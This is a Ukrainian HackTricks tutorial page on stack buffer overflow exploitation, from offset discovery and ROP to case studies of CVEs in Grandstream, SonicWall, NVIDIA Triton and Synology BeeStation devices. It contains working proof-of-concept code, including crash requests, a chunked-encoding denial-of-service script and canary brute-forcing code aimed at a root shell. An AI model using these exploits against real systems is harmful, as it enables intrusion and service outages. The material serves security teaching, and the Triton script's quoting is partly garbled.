Stack Overflow
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Що таке Stack Overflow
A stack overflow — це вразливість, що виникає, коли програма записує в стек більше даних, ніж для нього виділено. Ці зайві дані будуть перезаписувати сусідню область пам’яті, що призведе до пошкодження коректних даних, порушення керування потоком виконання та потенційного виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж для вводу.
Основна проблема такого перезапису полягає в тому, що saved instruction pointer (EIP/RIP) і saved base pointer (EBP/RBP) для повернення до попередньої функції зберігаються в стеку. Тому атакуючий зможе перезаписати їх і контролювати потік виконання програми.
Вразливість зазвичай виникає через те, що функція копіює в стек більше байтів, ніж для нього виділено, тим самим маючи можливість перезаписати інші частини стека.
Деякі поширені функції, вразливі до цього: strcpy, strcat, sprintf, gets… Також функції, як-от fgets, read і memcpy, що приймають аргумент довжини, можуть бути використані у вразливий спосіб, якщо вказана довжина більша за виділену.
Наприклад, наступні функції можуть бути вразливими:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Пошук Stack Overflows offsets
Найпоширеніший спосіб знайти stack overflows — подати дуже великий ввід з A (наприклад python3 -c 'print("A"*1000)') і очікувати Segmentation Fault, що вказує, що адресу 0x41414141 було спробовано звернути.
Крім того, коли ви виявили, що є Stack Overflow вразливість, потрібно знайти offset до моменту, коли можна буде перезаписати return address; для цього зазвичай використовують De Bruijn sequence. Яка для заданого алфавіту розміру k та підпослідовностей довжини n є циклічною послідовністю, в якій кожна можлива підпослідовність довжини n з’являється рівно один раз як суміжна підпослідовність.
Таким чином, замість того, щоб вручну визначати, який offset потрібен для контролю EIP, можна використовувати одну з цих послідовностей як padding, а потім знайти offset байтів, які в результаті її перезаписали.
Для цього можна використовувати pwntools:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
або GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Експлуатація Stack Overflows
Під час overflow (за умови, що розмір переповнення достатній) ви зможете перезаписати значення локальних змінних у стекті аж до збережених EBP/RBP та EIP/RIP (або навіть більше).
Найпоширеніший спосіб зловживання цією вразливістю — змінити адресу повернення, щоб коли функція завершиться, потік керування був перенаправлений туди, куди вказав attacker у цьому вказівнику.
Однак у інших сценаріях може бути достатньо просто перезаписати значення деяких змінних у стекті для експлуатації (наприклад у простих CTF задачах).
Ret2win
У такого роду CTF задачах у бінарі є функція, всередині якої якась функція ніколи не викликається, і яку потрібно викликати, щоб виграти. Для таких задач потрібно лише знайти офсет для перезапису адреси повернення і знайти адресу функції, яку треба викликати (зазвичай ASLR буде відключено), так що коли вразлива функція повертається, прихована функція буде викликана:
Stack Shellcode
У цьому сценарії attacker може помістити shellcode у стек і скористатися контрольованим EIP/RIP, щоб перейти до shellcode і виконати довільний код:
Windows SEH-based exploitation (nSEH/SEH)
На 32-бітних Windows переповнення може перезаписати ланцюжок Structured Exception Handler (SEH) замість збереженої адреси повернення. При експлуатації зазвичай замінюють вказівник SEH на POP POP RET gadget і використовують 4-байтове поле nSEH для короткого переходу назад у великий буфер, де знаходиться shellcode. Поширений шаблон — короткий jmp у nSEH, що потрапляє на 5-байтовий near jmp, розміщений безпосередньо перед nSEH, щоб перескочити на сотні байтів назад до початку payload.
ROP & Ret2… techniques
Ця техніка є базовим підходом для обходу головного захисту від попередньої техніки: No executable stack (NX). Вона також дозволяє виконувати кілька інших технік (ret2lib, ret2syscall…), які призведуть до виконання довільних команд, використовуючи наявні інструкції в бінарі:
Heap Overflows
Переповнення не завжди відбувається у стеці, воно також може бути у heap, наприклад:
Types of protections
Існує кілька захистів, що намагаються запобігти експлуатації вразливостей — перегляньте їх у:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2026-2329 (Grandstream GXP1600 unauthenticated HTTP stack overflow)
/app/bin/gs_web(32-bit ARM) експонує/cgi-bin/api.values.getна TCP/80 з відсутньою автентифікацією. POST-параметрrequestрозділений двокрапками; кожен символ копіюється вchar small_buffer[64], а токен закінчується NUL при:або кінці, без будь-якої перевірки довжини, що дозволяє одному надмірно довгому токену зламати збережені регістри/адресу повернення.- PoC overflow (крашиться і показує дані attacker у регістрах):
curl -ik http://<target>/cgi-bin/api.values.get --data "request=$(python3 - <<'PY'\nprint('A'*256)\nPY)". - Delimiter-driven multi-NUL placement: кожна двокрапка перезапускає парсинг і додає завершаючий NUL. Використовуючи кілька занадто довгих ідентифікаторів, термінатор кожного токена можна вирівняти на різний офсет у пошкодженому фреймі, що дозволяє attacker розмістити кілька
0x00байтів, хоча зазвичай кожне переповнення додає лише один. Це критично, тому що non-PIE бінар відмаплений за0x00008000, тож адреси ROP gadget містять NUL-байти. - Приклад payload з двокрапками для розміщення п’яти NUL-байтів у вибраних офсетах (довжини налаштовані під макет стека):
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE checksecпоказує NX увімкнено, немає canary, немає PIE. Експлуатація використовує ROP-ланцюжок, збудований з фіксованих адрес (наприклад, викликsystem()потімexit()), розміщуючи аргументи після встановлення потрібних NUL-байтів трюком з розділювачем.
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
Хороший приклад того, чому sscanf ніколи не слід довіряти для парсингу неперевіреного вводу, з’явився у 2025 році в пристрої SonicWall SMA100 SSL-VPN.
Вразлива процедура всередині /usr/src/EasyAccess/bin/httpd намагається витягти версію та endpoint з будь-якого URI, який починається з /__api__/:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- Перше перетворення (
%2s) безпечно записує два байти вversion(наприклад"v1"). - Друге перетворення (
%s) не має специфікатора довжини, томуsscanfпродовжуватиме копіювання доки не зустріне перший NUL byte. - Оскільки
endpointрозташований на stack і має довжину 0x800 bytes, передача шляху довшого за 0x800 bytes пошкоджує все, що знаходиться після буфера ‑ включно з stack canary та saved return address.
Достатньо однорядкового proof-of-concept, щоб спричинити крах перед аутентифікацією:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Навіть якщо stack canaries переривають виконання процесу, зловмисник все одно отримує примітив Denial-of-Service (а за наявності додаткових інформаційних leaks — можливо й code-execution).
Реальний приклад: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA Triton Inference Server (≤ v25.06) містив кілька stack-based overflows, доступних через його HTTP API.
Вразливий шаблон повторно зустрічався в http_server.cc та sagemaker_server.cc:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek(libevent) повертає кількість внутрішніх сегментів буфера, які складають поточне тіло HTTP-запиту.- Кожен сегмент спричиняє виділення
evbuffer_iovecрозміром 16-byte на stack черезalloca()– без жодних верхніх обмежень. - Зловживаючи HTTP chunked transfer-encoding, клієнт може змусити запит розбитися на сотні тисяч 6-byte chunks (
"1\r\nA\r\n"). Це змушуєnзростати без обмежень, доки stack не вичерпається.
Доказ концепції (DoS)
Chunked DoS PoC
```python #!/usr/bin/env python3 import socket, sysdef exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()
if name == “main”: exploit(*sys.argv[1:])
</details>
Приблизно 3 MB запиту достатньо, щоб переписати saved return address і **crash** the daemon за збірки за замовчуванням.
### Реальний приклад: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)
Ланцюг Synacktiv на Pwn2Own 2025 використав pre-auth overflow у `SYNO.BEE.AdminCenter.Auth` на порту 5000. `AuthManagerImpl::ParseAuthInfo` Base64-декодує введення атакувальника в 4096-байтовий стековий буфер, але неправильно встановлює `decoded_len = auth_info->len`. Оскільки CGI worker форкається на кожен запит, кожна child успадковує parent’s stack canary, тож одного стабільного overflow primitive достатньо, щоб пошкодити стек і leak усі необхідні secrets.
#### Base64-декодований JSON як структурований overflow
Декодований blob має бути валідним JSON і містити ключі `"state"` та `"code"`; інакше парсер завершує роботу до того, як overflow стане корисним. Synacktiv вирішили це, Base64-енкодивши payload, який декодується у JSON, потім байт NUL, а потім потік overflow. `strlen(decoded)` зупиняється на NUL, тому парсинг проходить, але `SLIBCBase64Decode` вже перезаписав стек за межами JSON-об'єкта, покриваючи canary, saved RBP і return address.
```python
pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
pld += b"A"*4081 # reach the canary slot
pld += marker_bytes # guessed canary / pointer data
send_request(pld)
Crash-oracle bruteforcing of canaries & pointers
synoscgi форкається при кожному HTTP-запиті, тому всі дочірні процеси використовують один і той же canary, stack layout та PIE slide. The exploit трактує HTTP status code як oracle: відповідь 200 означає, що вгаданий байт зберіг стек, тоді як 502 (або розірване з’єднання) означає, що процес впав. Brute-forcing кожного байта послідовно відновлює 8-байтовий canary, saved stack pointer і return address всередині libsynobeeadmincenter.so:
def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")
bf_next_ptr simply calls bf_next_byte eight times while appending the confirmed prefix. Synacktiv parallelized these oracles with ~16 worker threads, reducing the total leak time (canary + stack ptr + lib base) to under three minutes.
Від leaks до ROP & виконання
Коли library base відома, звичайні гаджети (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) створюють примітив arb_write, який розміщує /bin/bash, -c та команду атакуючого на leaked stack address. Нарешті, ланцюжок налаштовує calling convention для SLIBCExecl (a BeeStation wrapper around execl(2)), що дає root shell без потреби в окремому info-leak багу.
References
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey
- Rapid7 – CVE-2026-2329 unauthenticated stack overflow in Grandstream GXP1600
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


